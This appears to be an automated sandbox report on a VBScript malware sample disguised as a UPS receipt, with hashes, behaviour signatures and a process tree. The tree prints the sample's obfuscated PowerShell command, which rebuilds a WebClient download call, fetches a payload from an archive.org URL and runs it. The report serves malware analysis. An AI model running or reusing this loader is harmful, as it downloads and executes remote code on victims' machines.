ab59fbf0ee10b8c5428479b1f5dfdb5cfc87dd40407b3742814ab34611f32b1d

Analysis

max time kernel
99s
max time network
135s
platform
windows10_x64
resource
win10v20210410
submitted
30/07/2021, 06:07

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General

Target
Reciept_ups.vbs
Size 1KB
Sample210730-vqm2arckss
SHA256 ab59fbf0ee10b8c5428479b1f5dfdb5cfc87dd40407b3742814ab34611f32b1d
MD5 9fa6a03205eb87f89ad6b8dc678f8c62
SHA1 73131c00bc2d3554f53c56b487488efeef9ffb40
SHA512 2f8a4062a1e0ffa850ebcfb8752f6f670c89128a134fcbdc10623e40ae8a3ca9c04ad878f81d4fafc0b9e037441044648388ca088bc520e9ba4dc0505e0a0988
MD5 SHA1 SHA512

Score

10^/10

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
https://ia601403.us.archive.org/32/items/vceo_20210729/vceo.txt

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
8	824	powershell.exe
18	824	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2320	824	WerFault.exe	72

Suspicious behavior: EnumeratesProcesses 17 IoCs

pid	Process
824	powershell.exe
824	powershell.exe
824	powershell.exe
2320	WerFault.exe
2320	WerFault.exe
2320	WerFault.exe
2320	WerFault.exe
2320	WerFault.exe
2320	WerFault.exe
2320	WerFault.exe
2320	WerFault.exe
2320	WerFault.exe
2320	WerFault.exe
2320	WerFault.exe
2320	WerFault.exe
2320	WerFault.exe
2320	WerFault.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	824	powershell.exe
Token: SeDebugPrivilege	2320	WerFault.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4048 wrote to memory of 824	4048	WScript.exe	72
PID 4048 wrote to memory of 824	4048	WScript.exe	72

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Reciept_ups.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:4048
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $TRUMP ='https://ia601403.us.archive.org/32/items/vceo_20210729/vceo.txt';$B ='ETH COINt.WTF COINlIOSNT'.Replace('ETH COIN','nE').Replace('TF COIN','EbC').Replace('OS','e');$CC = 'DOS COIN LSOSCOINnG'.Replace('S COIN ','Wn').Replace('SO','oaD').Replace('COIN','TrI');$A ='I`Eos COIN`W`BTC COINj`ETH COIN $B).$CC($TRUMP)'.Replace('os COIN','X(n`e').Replace('BTC COIN','-Ob').Replace('TH COIN','`c`T');&('I'+'EX')($A -Join '')|&('I'+'EX');
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:824
- - C:\Windows\system32\WerFault.exe
    C:\Windows\system32\WerFault.exe -u -p 824 -s 2500
    3⤵
    - Program crash
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2320

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/824-119-0x00000235F76C0000-0x00000235F76C1000-memory.dmp

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memory/824-123-0x00000235F7AD0000-0x00000235F7AD1000-memory.dmp

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memory/824-128-0x00000235F7680000-0x00000235F7682000-memory.dmp

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memory/824-129-0x00000235F7683000-0x00000235F7685000-memory.dmp

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memory/824-130-0x00000235F7686000-0x00000235F7688000-memory.dmp

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memory/824-151-0x00000235A8000000-0x00000235A802A000-memory.dmp

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